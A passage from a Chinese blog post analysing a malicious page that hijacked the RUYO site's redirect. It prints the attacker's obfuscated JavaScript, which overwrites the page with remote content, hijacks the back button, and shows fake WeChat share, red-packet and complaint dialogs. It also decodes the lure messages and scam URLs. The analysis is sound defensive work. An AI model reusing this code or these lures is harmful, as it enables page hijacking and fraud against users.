class="number">0</span>;</span><br><span class="line">		input = input[<span class="string">&#x27;replace&#x27;</span>](<span class="regexp">/[^A-Za-z0-9\+\/\=]/g</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">		<span class="keyword">while</span> (gFVlTR97 &lt; input[<span class="string">&#x27;length&#x27;</span>]) &#123;</span><br><span class="line">			hhcvG93 = _keyStr[<span class="string">&#x27;indexOf&#x27;</span>](input[<span class="string">&#x27;charAt&#x27;</span>](gFVlTR97++));</span><br><span class="line">			s94 = _keyStr[<span class="string">&#x27;indexOf&#x27;</span>](input[<span class="string">&#x27;charAt&#x27;</span>](gFVlTR97++));</span><br><span class="line">			<span class="title class_">LqMXu95</span> = _keyStr[<span class="string">&#x27;indexOf&#x27;</span>](input[<span class="string">&#x27;charAt&#x27;</span>](gFVlTR97++));</span><br><span class="line">			<span class="title class_">BQmBU</span>96 = _keyStr[<span class="string">&#x27;indexOf&#x27;</span>](input[<span class="string">&#x27;charAt&#x27;</span>](gFVlTR97++));</span><br><span class="line">			ijm90 = (hhcvG93 &lt;&lt; <span class="number">2</span>) | (s94 &gt;&gt; <span class="number">4</span>);</span><br><span class="line">			<span class="title class_">LBwWIw</span>91 = ((s94 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">4</span>) | (<span class="title class_">LqMXu95</span> &gt;&gt; <span class="number">2</span>);</span><br><span class="line">			$Hhkp92 = ((<span class="title class_">LqMXu95</span> &amp; <span class="number">3</span>) &lt;&lt; <span class="number">6</span>) | <span class="title class_">BQmBU</span>96;</span><br><span class="line">			fTgOsCovo89 = fTgOsCovo89 + <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](ijm90);</span><br><span class="line">			<span class="keyword">if</span> (<span class="title class_">LqMXu95</span> != <span class="number">64</span>) &#123;</span><br><span class="line">				fTgOsCovo89 = fTgOsCovo89 + <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](<span class="title class_">LBwWIw</span>91)</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">if</span> (<span class="title class_">BQmBU</span>96 != <span class="number">64</span>) &#123;</span><br><span class="line">				fTgOsCovo89 = fTgOsCovo89 + <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>]($Hhkp92)</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		fTgOsCovo89 = <span class="title function_">_utf8_decode</span>(fTgOsCovo89);</span><br><span class="line">		<span class="keyword">return</span> fTgOsCovo89</span><br><span class="line">	&#125;;</span><br><span class="line">	_utf8_encode = <span class="keyword">function</span>(<span class="params">string</span>) &#123;</span><br><span class="line">		string = string[<span class="string">&#x27;replace&#x27;</span>](<span class="regexp">/\r\n/g</span>, <span class="string">&quot;\n&quot;</span>);</span><br><span class="line">		<span class="keyword">var</span> yRSYdPdD98 = <span class="string">&quot;&quot;</span>;</span><br><span class="line">		<span class="keyword">for</span> (<span class="keyword">var</span> <span class="title class_">MYJFTCe99</span> = <span class="number">0</span>; <span class="title class_">MYJFTCe99</span> &lt; string[<span class="string">&#x27;length&#x27;</span>]; <span class="title class_">MYJFTCe99</span>++) &#123;</span><br><span class="line">			<span class="keyword">var</span> <span class="title class_">QOgO</span>100 = string[<span class="string">&#x27;charCodeAt&#x27;</span>](<span class="title class_">MYJFTCe99</span>);</span><br><span class="line">			<span class="keyword">if</span> (<span class="title class_">QOgO</span>100 &lt; <span class="number">128</span>) &#123;</span><br><span class="line">				yRSYdPdD98 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](<span class="title class_">QOgO</span>100)</span><br><span class="line">			&#125; <span class="keyword">else</span> <span class="keyword">if</span> ((<span class="title class_">QOgO</span>100 &gt; <span class="number">127</span>) &amp;&amp; (<span class="title class_">QOgO</span>100 &lt; <span class="number">2048</span>)) &#123;</span><br><span class="line">				yRSYdPdD98 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>]((<span class="title class_">QOgO</span>100 &gt;&gt; <span class="number">6</span>) | <span class="number">192</span>);</span><br><span class="line">				yRSYdPdD98 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>]((<span class="title class_">QOgO</span>100 &amp; <span class="number">63</span>) | <span class="number">128</span>)</span><br><span class="line">			&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">				yRSYdPdD98 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>]((<span class="title class_">QOgO</span>100 &gt;&gt; <span class="number">12</span>) | <span class="number">224</span>);</span><br><span class="line">				yRSYdPdD98 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](((<span class="title class_">QOgO</span>100 &gt;&gt; <span class="number">6</span>) &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">				yRSYdPdD98 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>]((<span class="title class_">QOgO</span>100 &amp; <span class="number">63</span>) | <span class="number">128</span>)</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> yRSYdPdD98</span><br><span class="line">	&#125;;</span><br><span class="line">	_utf8_decode = <span class="keyword">function</span>(<span class="params">utftext</span>) &#123;</span><br><span class="line">		<span class="keyword">var</span> qiz101 = <span class="string">&quot;&quot;</span>;</span><br><span class="line">		<span class="keyword">var</span> <span class="title class_">IWh</span>_LbK102 = <span class="number">0</span>;</span><br><span class="line">		<span class="keyword">var</span> kHK103 = c1 = c2 = <span class="number">0</span>;</span><br><span class="line">		<span class="keyword">while</span> (<span class="title class_">IWh</span>_LbK102 &lt; utftext[<span class="string">&#x27;length&#x27;</span>]) &#123;</span><br><span class="line">			kHK103 = utftext[<span class="string">&#x27;charCodeAt&#x27;</span>](<span class="title class_">IWh</span>_LbK102);</span><br><span class="line">			<span class="keyword">if</span> (kHK103 &lt; <span class="number">128</span>) &#123;</span><br><span class="line">				qiz101 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](kHK103);</span><br><span class="line">				<span class="title class_">IWh</span>_LbK102++</span><br><span class="line">			&#125; <span class="keyword">else</span> <span class="keyword">if</span> ((kHK103 &gt; <span class="number">191</span>) &amp;&amp; (kHK103 &lt; <span class="number">224</span>)) &#123;</span><br><span class="line">				c2 = utftext[<span class="string">&#x27;charCodeAt&#x27;</span>](<span class="title class_">IWh</span>_LbK102 + <span class="number">1</span>);</span><br><span class="line">				qiz101 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](((kHK103 &amp; <span class="number">31</span>) &lt;&lt; <span class="number">6</span>) | (c2 &amp; <span class="number">63</span>));</span><br><span class="line">				<span class="title class_">IWh</span>_LbK102 += <span class="number">2</span></span><br><span class="line">			&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">				c2 = utftext[<span class="string">&#x27;charCodeAt&#x27;</span>](<span class="title class_">IWh</span>_LbK102 + <span class="number">1</span>);</span><br><span class="line">				c3 = utftext[<span class="string">&#x27;charCodeAt&#x27;</span>](<span class="title class_">IWh</span>_LbK102 + <span class="number">2</span>);</span><br><span class="line">				qiz101 += <span class="variable language_">window</span>[<span class="string">&quot;String&quot;</span>][<span class="string">&#x27;fromCharCode&#x27;</span>](((kHK103 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">12</span>) | ((c2 &amp; <span class="number">63</span>) &lt;&lt; <span class="number">6</span>) | (c3 &amp; <span class="number">63</span>));</span><br><span class="line">				<span class="title class_">IWh</span>_LbK102 += <span class="number">3</span></span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> qiz101</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> hnFMtTus104 = <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>][<span class="string">&#x27;parse&#x27;</span>](<span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>]());</span><br><span class="line"><span class="variable language_">window</span>[<span class="string">&#x27;jump&#x27;</span>] = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">	$[<span class="string">&#x27;ajax&#x27;</span>](&#123;</span><br><span class="line">		<span class="attr">type</span>: <span class="string">&quot;GET&quot;</span>,</span><br><span class="line">		<span class="attr">url</span>: <span class="title class_">LHpJ</span>8 + <span class="string">&quot;loadIndex?source=1&amp;t=&quot;</span> + hnFMtTus104,</span><br><span class="line">		<span class="attr">dataType</span>: <span class="string">&quot;json&quot;</span>,</span><br><span class="line">		<span class="attr">data</span>: &#123;&#125;,</span><br><span class="line">		<span class="attr">success</span>: <span class="keyword">function</span>(<span class="params">ZAr105</span>) &#123;</span><br><span class="line">			<span class="keyword">if</span> (<span class="title class_">ZAr105</span> != <span class="literal">null</span> &amp;&amp; <span class="title class_">ZAr105</span>[<span class="string">&#x27;code&#x27;</span>] == <span class="string">&quot;0&quot;</span>) &#123;</span><br><span class="line">				<span class="keyword">var</span> <span class="title class_">De</span>_Q106 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;open&#x27;</span>](<span class="string">&quot;text/html&quot;</span>, <span class="string">&quot;replace&quot;</span>);</span><br><span class="line">				<span class="keyword">var</span> <span class="variable constant_">O107</span> = <span class="variable language_">window</span>[<span class="string">&quot;unescape&quot;</span>](<span class="title class_">ZAr105</span>[<span class="string">&#x27;content&#x27;</span>]);</span><br><span class="line">				<span class="title class_">De</span>_Q106[<span class="string">&#x27;write&#x27;</span>](<span class="variable constant_">O107</span>);</span><br><span class="line">				<span class="title class_">De</span>_Q106[<span class="string">&#x27;close&#x27;</span>]();</span><br><span class="line">			&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">				<span class="title function_">modifyLocationHref</span>(adLink);</span><br><span class="line">				<span class="variable language_">console</span>[<span class="string">&#x27;log&#x27;</span>](<span class="string">&quot;loadIndex&quot;</span>, <span class="string">&quot;code==1&quot;</span>);</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;,</span><br><span class="line">		<span class="attr">error</span>: <span class="keyword">function</span>(<span class="params">Assb108</span>) &#123;</span><br><span class="line">			<span class="title function_">modifyLocationHref</span>(adLink);</span><br><span class="line">			<span class="variable language_">console</span>[<span class="string">&#x27;log&#x27;</span>](<span class="string">&quot;loadIndex&quot;</span>, <span class="string">&quot;error&quot;</span>);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> <span class="variable constant_">A109</span> = <span class="literal">false</span>;</span><br><span class="line"><span class="variable language_">window</span>[<span class="string">&#x27;onhashchange&#x27;</span>] = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> vVPPOzUC110 = ((<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() * <span class="number">100</span>) &lt; <span class="number">100</span>);</span><br><span class="line">	<span class="keyword">if</span> (vVPPOzUC110 &amp;&amp; !<span class="variable constant_">A109</span>) &#123;</span><br><span class="line">		<span class="variable constant_">A109</span> = <span class="literal">true</span>;</span><br><span class="line">		<span class="title function_">jump</span>();</span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		<span class="title function_">modifyLocationHref</span>(adLink);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">dissScroll</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>][<span class="string">&#x27;ontouchmove&#x27;</span>] = <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span><br><span class="line">		e[<span class="string">&#x27;preventDefault&#x27;</span>]();</span><br><span class="line">	&#125;;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;querySelector&#x27;</span>](<span class="string">&#x27;body&#x27;</span>)[<span class="string">&#x27;addEventListener&#x27;</span>](<span class="string">&#x27;touchmove&#x27;</span>, <span class="keyword">function</span>(<span class="params">gnHohw111</span>) &#123;</span><br><span class="line">		gnHohw111[<span class="string">&#x27;preventDefault&#x27;</span>]();</span><br><span class="line">	&#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getHiddenProp</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> oNT_KW112 = [<span class="string">&#x27;webkit&#x27;</span>, <span class="string">&#x27;moz&#x27;</span>, <span class="string">&#x27;ms&#x27;</span>, <span class="string">&#x27;o&#x27;</span>];</span><br><span class="line">	<span class="keyword">if</span> (<span class="string">&#x27;hidden&#x27;</span> <span class="keyword">in</span> <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>]) <span class="keyword">return</span> <span class="string">&#x27;hidden&#x27;</span>;</span><br><span class="line">	<span class="keyword">for</span> (<span class="keyword">var</span> <span class="title class_">Vg113</span> = <span class="number">0</span>; <span class="title class_">Vg113</span> &lt; oNT_KW112[<span class="string">&#x27;length&#x27;</span>]; <span class="title class_">Vg113</span>++) &#123;</span><br><span class="line">		<span class="keyword">if</span> ((oNT_KW112[<span class="title class_">Vg113</span>] + <span class="string">&#x27;Hidden&#x27;</span>) <span class="keyword">in</span> <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>]) <span class="keyword">return</span> oNT_KW112[<span class="title class_">Vg113</span>] + <span class="string">&#x27;Hidden&#x27;</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getVisibilityState</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> hipMW114 = [<span class="string">&#x27;webkit&#x27;</span>, <span class="string">&#x27;moz&#x27;</span>, <span class="string">&#x27;ms&#x27;</span>, <span class="string">&#x27;o&#x27;</span>];</span><br><span class="line">	<span class="keyword">if</span> (<span class="string">&#x27;visibilityState&#x27;</span> <span class="keyword">in</span> <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>]) <span class="keyword">return</span> <span class="string">&#x27;visibilityState&#x27;</span>;</span><br><span class="line">	<span class="keyword">for</span> (<span class="keyword">var</span> <span class="title class_">YXRL115</span> = <span class="number">0</span>; <span class="title class_">YXRL115</span> &lt; hipMW114[<span class="string">&#x27;length&#x27;</span>]; <span class="title class_">YXRL115</span>++) &#123;</span><br><span class="line">		<span class="keyword">if</span> ((hipMW114[<span class="title class_">YXRL115</span>] + <span class="string">&#x27;VisibilityState&#x27;</span>) <span class="keyword">in</span> <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>]) <span class="keyword">return</span> hipMW114[<span class="title class_">YXRL115</span>] + <span class="string">&#x27;VisibilityState&#x27;</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">isHidden</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">TahY</span>_IEcy116 = <span class="title function_">getHiddenProp</span>();</span><br><span class="line">	<span class="keyword">if</span> (!<span class="title class_">TahY</span>_IEcy116) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">	<span class="keyword">return</span> <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="title class_">TahY</span>_IEcy116];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">onVisibilityChanged</span>(<span class="params">SIT_117</span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (<span class="string">&quot;visible&quot;</span> == <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="title function_">getVisibilityState</span>()]) &#123;</span><br><span class="line">		<span class="title function_">onVisibilityChangedCallback</span>(<span class="literal">false</span>);</span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		<span class="title function_">onVisibilityChangedCallback</span>(<span class="literal">true</span>);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">onVisibilityChangedCallback</span>(<span class="params">UdPg118</span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (!<span class="title class_">UdPg118</span>) &#123;</span><br><span class="line">		kRS12 = <span class="literal">true</span>;</span><br><span class="line">		<span class="title function_">setCookie</span>(<span class="string">&quot;share_time&quot;</span>, <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>][<span class="string">&#x27;parse&#x27;</span>](<span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>]()));</span><br><span class="line">		<span class="title function_">show</span>($K13[<span class="string">&#x27;decode&#x27;</span>](<span class="string">&quot;5YiG5Lqr5oiQ5Yqf&quot;</span>), $K13[<span class="string">&#x27;decode&#x27;</span>](<span class="string">&quot;5pyJM+S9jeWlveWPi+mihuWPluWQjiznuqLljIXoh6rliqjlrZjlhaXpkrHljIXjgII=&quot;</span>), $K13[<span class="string">&#x27;decode&#x27;</span>](<span class="string">&quot;56Gu5a6a&quot;</span>));</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">initVisibility</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">FuGvynCvk119</span> = <span class="title function_">getHiddenProp</span>();</span><br><span class="line">	<span class="keyword">if</span> (<span class="title class_">FuGvynCvk119</span>) &#123;</span><br><span class="line">		<span class="keyword">var</span> tPHgcepB120 = <span class="title class_">FuGvynCvk119</span>[<span class="string">&#x27;replace&#x27;</span>](<span class="regexp">/[H|h]idden/</span>, <span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;visibilitychange&#x27;</span>;</span><br><span class="line">		<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;addEventListener&#x27;</span>](tPHgcepB120, onVisibilityChanged, <span class="literal">false</span>);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">initShare</span>(<span class="params"></span>) &#123; <span class="comment">/**var share_time = getCookie(&quot;share_time&quot;);	if(share_time==&#x27;&#x27;||share_time == undefined || share_time == null||share_time==0) &#123;		return false;	&#125;	if((Date.parse(new Date()) - share_time) &gt; 10 * 60 * 1000) &#123;		(flag == 0) ? top.location.href = wx110Link: document.location.href = wx110Link;	&#125;;**/</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">init</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="title class_">PCRd</span>();</span><br><span class="line">	<span class="title function_">addTitle</span>();</span><br><span class="line">	<span class="title function_">addBody</span>();</span><br><span class="line">	<span class="title function_">historyADPage</span>();</span><br><span class="line">	<span class="title function_">dissScroll</span>();</span><br><span class="line">	<span class="title function_">dialogInit</span>();</span><br><span class="line">	<span class="title function_">report</span>();</span><br><span class="line">&#125;;</span><br><span class="line"><span class="title function_">init</span>();</span><br></pre></td></tr></table></figure>

<p>代码量太多了不想分<del>（装）</del>析<del>（B）</del>了，直接看效果。</p>
<p>尝试在本地的复现界面</p>
<p><img src="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/xiao2019-07-29-22-58-37-392.jpg" alt="本地复现"></p>
<p>代码中的一些base64编码后的文字，解密</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">速点！</span><br><span class="line">令人开心的时刻来了</span><br><span class="line">速度！已有3位好友领取</span><br><span class="line">人人免费领</span><br><span class="line">土豪，就是如此任性</span><br><span class="line">见者有份，来吧。</span><br><span class="line">看了就归你了</span><br><span class="line">点开，你就有份</span><br><span class="line">别说话，点我！</span><br><span class="line">看，收获时刻来了。</span><br><span class="line">快没了！速看！</span><br><span class="line">就要开始了，快！</span><br><span class="line">这么好的活动，你竟然还不知道！</span><br><span class="line">未分享到朋友圈,无法查看。</span><br><span class="line">有3位好友领取后,红包自动存入钱包。</span><br><span class="line">分享成功</span><br></pre></td></tr></table></figure>

<p>几个链接</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">http://t.cn/Roji0oH</span><br><span class="line">还原后，可能是已经屏蔽或者是其他链接</span><br><span class="line">https://weixin110.qq.com/cgi-bin/mmspamsupport-bin/newredirectconfirmcgi?block_type=20&amp;url=http%3A%2F%2Fbaidu.super%2Ftz.html&amp;version=260506312&amp;devicetype=android-223&amp;lang=zh_CN&amp;scene=1#wechat_redirect</span><br><span class="line">解密得到</span><br><span class="line">http://baidu.super/tz.html&amp;version=260506312&amp;devicetype=android-223&amp;lang=zh_CN&amp;scene=1#wechat_redirect</span><br><span class="line">网站挂了，未找到.super相关的后缀，可能又是替换之类的，也未找到相关信息</span><br></pre></td></tr></table></figure>

<p><img src="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/xiao2019-07-29-23-32-37-672.jpg" alt="微信屏蔽"></p>
<p>比较有趣的是</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> kT65 = <span class="string">&#x27;&lt;div class=&quot;weui-dialog__hd&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;strong class=&quot;weui-dialog__title&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;span style=&quot;color:red;&quot;&gt;投诉成功&lt;/span&gt;&lt;/strong&gt;&#x27;</span> + <span class="string">&#x27;&lt;/div&gt;&#x27;</span> + <span class="string">&#x27;&lt;div class=&quot;weui-dialog__bd&quot;&gt;&#x27;</span> + <span class="string">&#x27;我们已经收到您的投诉&#x27;</span> + <span class="string">&#x27;&lt;/div&gt;&#x27;</span> + <span class="string">&#x27;&lt;div class=&quot;weui-dialog__ft&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;a href=&quot;javascript:;&quot; id=&quot;tousu&quot; class=&quot;weui-dialog__btn primary&quot;&gt;确定&lt;/a&gt;&#x27;</span> + <span class="string">&#x27;&lt;/div&gt;&#x27;</span>;</span><br></pre></td></tr></table></figure>

<p>猜测可能是利用相同的原理劫持微信投诉页面，来实现假投诉</p>
<p>@我是小马甲~说最终目的是跳转到菠菜网站，但我从代码中未看到，可能时间或是技术的问题。不过如有乐享被黑产搞了一波然后微信屏蔽链接倒是真的。</p>
<p>如有乐享之前的跳转已经看不到了，现在的说是解决了上一个漏洞问题，看下代码</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">HTML</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;</span> <span class="string">&quot;http://www.w3.org/TR/html4/loose.dtd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>如有乐享 - 外链跳转<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;Author&quot;</span> <span class="attr">content</span>=<span class="string">&quot;&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;Keywords&quot;</span> <span class="attr">content</span>=<span class="string">&quot;如有乐享，外链跳转&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;Description&quot;</span> <span class="attr">content</span>=<span class="string">&quot;如有乐享跳转外链网址专用页面&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">async</span> <span class="attr">src</span>=<span class="string">&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 首页广告 --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ins</span> <span class="attr">class</span>=<span class="string">&quot;adsbygoogle&quot;</span> <span class="attr">style</span>=<span class="string">&quot;display:block&quot;</span> <span class="attr">data-ad-client</span>=<span class="string">&quot;ca-pub-2073396170871664&quot;</span> <span class="attr">data-ad-slot</span>=<span class="string">&quot;9635575110&quot;</span></span></span><br><span class="line"><span class="tag">        <span class="attr">data-ad-format</span>=<span class="string">&quot;auto&quot;</span> <span class="attr">data-full-width-responsive</span>=<span class="string">&quot;true&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">ins</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        (adsbygoogle = <span class="variable language_">window</span>.<span class="property">adsbygoogle</span> || []).<span class="title function_">push</span>(&#123;&#125;);</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;https://51.RUYO.net&quot;</span>&gt;</span>返回首页<span class="tag">&lt;/<span class="name">a</span>&gt;</span>，<span class="tag">&lt;<span class="name">b</span>&gt;</span><span class="tag">&lt;<span class="name">a</span> <span class="attr">id</span>=<span class="string">&#x27;atag&#x27;</span> <span class="attr">href</span>=<span class="string">&quot;https://51.RUYO.net&quot;</span>&gt;</span>点击这里跳转<span class="tag">&lt;/<span class="name">a</span>&gt;</span><span class="tag">&lt;/<span class="name">b</span>&gt;</span>，页面将在20秒后跳转......</span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;//cdn.bootcss.com/jquery/1.11.3/jquery.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;//cdn.bootcss.com/Base64/1.0.1/base64.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        (<span class="keyword">function</span> (<span class="params">$</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">            $.getUrlParam = <span class="keyword">function</span> (<span class="params">name</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">                <span class="keyword">var</span> reg = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&quot;(^|&amp;)&quot;</span> + name + <span class="string">&quot;=([^&amp;]*)(&amp;|$)&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">                <span class="keyword">var</span> r = <span class="variable language_">window</span>.<span 